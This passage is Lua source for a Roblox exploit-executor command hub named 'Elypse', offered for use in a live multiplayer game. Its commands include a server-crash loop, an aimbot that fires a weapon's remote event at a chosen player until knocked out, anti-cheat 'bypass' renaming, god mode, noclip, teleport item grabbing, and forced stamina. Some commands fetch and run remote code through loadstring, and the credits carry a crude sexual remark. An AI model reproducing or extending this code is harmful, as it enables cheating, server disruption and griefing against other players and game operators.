- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('copyid','copyid [plr]',{},
- function(ARGS, SPEAKER)
- local arg1 = "Name"
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- local audio = ElypsePlayers[v].Character.Torso.Song.SoundId
- print(audio)
- Synapse:copy(audio)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Audio Copied To ClipBoard";
- Text = "Audio: " .. audio;
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- wait(1)
- end
- end)
- local Players = game:GetService("Players")
- local Plr = Players.LocalPlayer
- local ReEquip = function()
- local Tool = nil
- for i,v in pairs(Plr.Character:GetChildren()) do
- if v:IsA("Tool") or v:IsA("HopperBin") then
- Tool = v
- end
- end
- if Tool then
- Tool.Parent = Plr.Backpack
- wait("0.3")
- Tool.Parent = Plr.Character
- end
- end
- local TP = function(CFRAME)
- for i,v in pairs(Plr.PlayerGui:GetChildren()) do
- if v:IsA("LocalScript") then
- v.Disabled = true
- end
- end
- Plr.Character.HumanoidRootPart.CFrame = CFRAME
- for i,v in pairs(Plr.PlayerGui:GetChildren()) do
- if v:IsA("LocalScript") then
- v.Disabled = false
- end
- end
- end
- Elypse('funnywalk','funnywalk',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Character.Animate.walk.WalkAnim.AnimationId="rbxassetid://299034008"
- end)
- Elypse('crash','crash',{},
- function(ARGS, SPEAKER)
- FUNCTION = loadstring(string.rep([[game:GetService('Players'):Chat("/e spit")]], 1500))
- game:GetService('RunService').RenderStepped:connect(FUNCTION)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Crashing Server";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('machetedick','machetedick',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Backpack.Machete.GripPos = Vector3.new(-1.6, -2.7, -0.0)
- end)
- Elypse('pipe','pipe',{},
- function(ARGS, SPEAKER)
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-429.263245, 6.13032055, 236.12973))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Pipe";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('machete','machete',{},
- function(ARGS, SPEAKER)
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-726.264832, 5.11446857, -79.6448364))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Machete";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('outofmap','outofmap',{},
- function(ARGS, SPEAKER)
- TP(CFrame.new(-692.928772, 3.37520385, -342.854462))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Teleported Out Of The Map";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('sandpit','sandpit',{},
- function(ARGS, SPEAKER)
- TP(CFrame.new(-211.318909, 3.20000005, -114.999077))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Teleported To Sand Pit";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('spray','spray',{},
- function(ARGS, SPEAKER)
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(126.917076, 5.69583941, -97.9775162))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Teleported To Spray";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('abovemap','abovemap',{},
- function(ARGS, SPEAKER)
- TP(CFrame.new(-143.411301, 78.5999985, 163.684967))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Teleported Above The Map";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('aps','aps',{},
- function(ARGS, SPEAKER)
- TP(CFrame.new(-196.087448, 19.0848598, 128.160217))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Teleported To Aps";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('bat','bat',{},
- function(ARGS, SPEAKER)
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(118.71843, 6.24983072, -60.3335457))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Bat";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('reset','reset',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Character:breakJoints()
- game.StarterGui:SetCore("SendNotification", {
- Title = "LocalPlayer Has Been Reset";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('uzi','uzi',{},
- function(ARGS, SPEAKER)
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-273.237701, 5.14385605, 362.582184))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Uzi";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('ammo','ammo',{},
- function(ARGS, SPEAKER)
- local uzilocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-890.943298, 5.40959072, -139.017715))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(uzilocate))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Ammo";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('version','version',{},
- function(ARGS, SPEAKER)
- print("1.1.4")
- game.StarterGui:SetCore("SendNotification", {
- Title = "Current Version Is 1.1.4";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('ungod','ungod',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Character:breakJoints()
- wait(0.5)
- game.StarterGui:SetCore("SendNotification", {
- Title = "God Mode Removed";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('discord','discord',{},
- function(ARGS, SPEAKER)
- print("discord.gg/NZCBg6J")
- game.StarterGui:SetCore("SendNotification", {
- Title = "Discord Link Sent In Console";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('glock','glock',{},
- function(ARGS, SPEAKER)
- local glocklocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-972.683289, 4.95825768, -92.2516937))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(glocklocate))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Glock";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('hidename','hidename',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Broken";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('prefix','prefix [string]',{},
- function(ARGS, SPEAKER)
- if ARGS[1] then
- C_PREFIX = ARGS[1]
- game.StarterGui:SetCore("SendNotification", {
- Title = "Prefix Changed To " .. ARGS[1];
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end
- end)
- Elypse('devgui','devgui',{},
- function(ARGS, SPEAKER)
- end)
- Elypse('credits','credits',{},
- function(ARGS, SPEAKER)
- print("Credits To: ")
- print("Sammy")
- print("Raz Because She Make Me The Sandwich And Give Good Sloppy J's")
- print("PurpleTooFast")
- print("Snow")
- print("Yn")
- print("Zonit")
- print("Lighton")
- print("Illremember")
- game.StarterGui:SetCore("SendNotification", {
- Title = "Credits Sent In Console";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('shotty','shotty',{},
- function(ARGS, SPEAKER)
- local shottylocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-249.576736, 5.60533333, -244.484818))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(shottylocate))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Here Is Your Shotty";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('lockpick','lockpick',{},
- function(ARGS, SPEAKER)
- local shottylocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-322.705383, 5.84496546, 364.950531))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(shottylocate))
- ReEquip()
- end)
- Elypse('golfclub','golfclub',{},
- function(ARGS, SPEAKER)
- local shottylocate = game.Players.LocalPlayer.Character.Torso.Position
- TP(CFrame.new(-76.0678024, 5.97562265, -220.801666))
- ReEquip()
- wait(0.30)
- TP(CFrame.new(shottylocate))
- ReEquip()
- end)
- Elypse('bank','bank',{},
- function(ARGS, SPEAKER)
- TP(CFrame.new(-269.053375, 4.81635475, 139.362961))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Teleported To Bank";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('prison','prison',{},
- function(ARGS, SPEAKER)
- TP(CFrame.new(-973.523621, 3.19878054, -76.6112595))
- ReEquip()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Teleported To Prison";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('fly','fly',{},
- function(ARGS, SPEAKER)
- sFLY()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Fly Enabled";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('unfly','unfly',{},
- function(ARGS, SPEAKER)
- NOFLY()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Fly Disabled";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('fegod','fegod',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Fe God Enabled";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- game.Players.LocalPlayer.Character.Humanoid.Name = 1
- local l = game.Players.LocalPlayer.Character["1"]:Clone()
- l.Parent = game.Players.LocalPlayer.Character
- l.Name = "Humanoid"
- wait(0.1)
- game.Players.LocalPlayer.Character["1"]:Destroy()
- game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character
- game.Players.LocalPlayer.Character.Animate.Disabled = true
- wait(0.1)
- game.Players.LocalPlayer.Character.Animate.Disabled = false
- game.Players.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None"
- wait(1)
- end
- end)
- Elypse('unfegod','unfegod',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Fe God Disabled";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- v = game.Players.LocalPlayer
- local a1 = Instance.new("Model", game.Workspace)
- local a2 = Instance.new("Part", game.Workspace)
- a2.CanCollide = true
- a2.Anchored = true
- a2.CFrame = CFrame.new(10000, 10000, 10000)
- a2.Name = "Torso"
- local a3 = Instance.new("Humanoid", a1)
- a3.MaxHealth=100;a3.Health=100
- v.Character = a1
- a3.Health=0
- wait(1)
- end
- end)
- Elypse('elypse','elypse',{},
- function(ARGS, SPEAKER)
- game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Elypse Owns Me And Owns All","All")
- end)
- Elypse('leave','leave',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer:Kick("Left Game")
- end)
- Elypse('showname','showname [plr]',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Broken";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('shottydick','shottydick',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Backpack.Shotty.GripPos = Vector3.new(1, 2, -1)
- end)
- Elypse('sawedoffdick','sawedoffdick',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Backpack.SawedOff.GripPos = Vector3.new(1, 2, -1)
- end)
- Elypse('animations','animations',{},
- function(ARGS, SPEAKER)
- loadstring(game:GetObjects("rbxassetid://1202558084")[1].Source)()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Animation Gui Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- hitthatboixdd = true
- Elypse('protect','protect',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Broken";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('noclipkey','noclipkey',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Press T To Toggle No Clip";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- noclip = false
- game:GetService('RunService').Stepped:connect(function()
- if noclip then
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
- end
- end)
- local plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "t" then
- noclip = not noclip
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
- end
- end)
- wait(1)
- end
- end)
- Elypse('items','items',{},
- function(ARGS, SPEAKER)
- while true do
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = (game.Workspace.RandomSpawner.CFrame)
- wait(0.1)
- end
- end)
- Elypse('fegui','fegui',{},
- function(ARGS, SPEAKER)
- loadstring(game:GetObjects("rbxassetid://1294358929")[1].Source)()
- game.StarterGui:SetCore("SendNotification", {
- Title = "Fe Gui Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('cords','cords',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Cords Printed In Console";
- Text = game.Players.LocalPlayer.Character.Torso.Position;
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local x = game.Players.LocalPlayer.Character.Torso.Position
- print(x)
- end)
- Elypse('devgui','devgui',{},
- function(ARGS, SPEAKER)
- if game.Players.LocalPlayer.Name == "e1yp" then
- NOTIFY('Developer Gui Loaded', 235, 66, 244)
- else
- game.StarterGui:SetCore("SendNotification", {
- Title = "Developers Only";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end
- end)
- Elypse('hatspin','hatspin',{},
- function(ARGS, SPEAKER)
- local obese = game:GetService('Players')
- for i,v in pairs(obese.LocalPlayer.Character:GetChildren()) do
- if v.ClassName == "Accessory" then
- local stg = v.Handle:FindFirstChildOfClass("BodyForce")
- if stg == nil then
- local a = Instance.new("BodyPosition")
- local b = Instance.new("BodyAngularVelocity")
- a.Parent = v.Handle
- b.Parent = v.Handle
- v.Handle.AccessoryWeld:Destroy()
- b.AngularVelocity = Vector3.new(0,100,0)
- b.MaxTorque = Vector3.new(0,200,0)
- a.P = 30000
- a.D = 50
- game:GetService('RunService').Stepped:connect(function()
- a.Position = obese.LocalPlayer.Character.Head.Position
- end)
- end
- end
- end
- end)
- Elypse('fightpack','fightpack',{},
- function(ARGS, SPEAKER)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.B then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.B then
- Player = "LocalPlayer"
- AnimationId = "501026159"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.H then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.H then
- Player = "LocalPlayer"
- --Old = 526812070
- AnimationId = "248263260"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- wait(0.6)
- k:Stop()
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.V then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.V then
- Player = "LocalPlayer"
- AnimationId = "255510150"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.C then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.C then
- Player = "LocalPlayer"
- AnimationId = "255508668"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.X then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.X then
- Player = "LocalPlayer"
- AnimationId = "255507798"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.G then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.G then
- Player = "LocalPlayer"
- AnimationId = "400507769"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Z then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Z then
- Player = "LocalPlayer"
- AnimationId = "163712992"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.M then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.M then
- Player = "LocalPlayer"
- AnimationId = "255614689"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- wait(1)
- k:Stop()
- end
- end)
- end)
- Elypse('bypass','bypass [plr]',{},
- function(ARGS, SPEAKER)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Bypass Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- while true do
- game.ReplicatedStorage.Name = "RepStorage"
- wait(0.5)
- end
- end
- end)
- Elypse('aimbot','aimbot [plr]',{},
- function(ARGS, SPEAKER)
- local PLAYERS = RenderPlayer(ARGS[1], SPEAKER)
- for i,v in pairs(PLAYERS) do
- mouse = game.Players.LocalPlayer:getMouse()
- mouse.Button1Down:connect(function()
- if game.Players:GetPlayerFromCharacter(mouse.Target.Parent) then
- local selected = game.Players:GetPlayerFromCharacter(mouse.Target.Parent)
- if game.Players.LocalPlayer.Character:findFirstChildOfClass("Tool") then
- local tool = game.Players.LocalPlayer.Character:findFirstChildOfClass("Tool")
- if tool:findFirstChild("Fire") then
- if selected ~= nil then
- repeat
- tool.Fire:FireServer(selected.Character.HumanoidRootPart.CFrame)
- tool.Fire:FireServer(selected.Character.Torso.CFrame)
- tool.Fire:FireServer(selected.Character.Head.CFrame)
- wait()
- until selected.Character:findFirstChild("KO")
- end
- end
- end
- end
- end)
- end
- game.StarterGui:SetCore("SendNotification", {
- Title = "Aimbot Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('stamina','stamina',{},
- function(ARGS, SPEAKER)
- local player=game.Players.LocalPlayer
- player.Backpack.ServerTraits.Stann.Changed:connect(function()
- player.Backpack.ServerTraits.Stann.Value = 100
- end)
- game.StarterGui:SetCore("SendNotification", {
- Title = "Infinite Stamina Activated";
- --Text = "";
- --Icon = "rbxassetid://1748020105";
- Duration = 3;
- })
- end)
- Elypse('injuredpack','injuredpack',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Character.Animate.walk.WalkAnim.AnimationId="rbxassetid://379416314"
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.jump:GetChildren()) do
- v.AnimationId = 'rbxassetid://163743477'
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.idle:GetChildren()) do
- v.AnimationId = 'rbxassetid://163723766'
- end
- end
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Z then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Z then
- Player = "LocalPlayer"
- AnimationId = "255503599"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- end)
- Elypse('noobpack','noobpack',{},
- function(ARGS, SPEAKER)
- game.Players.LocalPlayer.Character.Animate.walk.WalkAnim.AnimationId="rbxassetid://229771484"
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.jump:GetChildren()) do
- v.AnimationId = 'rbxassetid://229782914'
- for _,v in pairs(game.Players.LocalPlayer.Character.Animate.idle:GetChildren()) do
- v.AnimationId = 'rbxassetid://255771113'
- end
- end
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Z then
- game.Players.LocalPlayer.Backpack.ServerTraits.Touch:FireServer(game.Players.LocalPlayer.Backpack.Pipe, game.Players.LocalPlayer.Character.RightHand, true)
- end
- end)
- local userinput = game:GetService("UserInputService")
- local player = game.Players.LocalPlayer
- userinput.InputBegan:connect(function(input)
- if userinput:GetFocusedTextBox() then
- return
- end
- if input.KeyCode == Enum.KeyCode.Z then
- Player = "LocalPlayer"
- AnimationId = "255503599"
- local Anim = Instance.new("Animation")
- Anim.AnimationId = "rbxassetid://"..AnimationId
- local k = game.Players[Player].Character.Humanoid:LoadAnimation(Anim)
- k:Play() --Play the animation
- k:AdjustSpeed(1) --Set '1' to any value you want to adjust the animation speed.
- end
- end)
- end)
- gsPlayers = game:GetService("Players")
- function findSinglePlayer(plr)
- local players = {}
- local find = plr:lower()
- if find == "me" then
- table.insert(players,LP)
- else
- for i,v in pairs(gsPlayers:GetPlayers()) do
- if string.lower(v.Name):sub(1, #find) == string.lower(find) then
- table.insert(players,v)
- end
- end
- end
- local oneplayer = {}
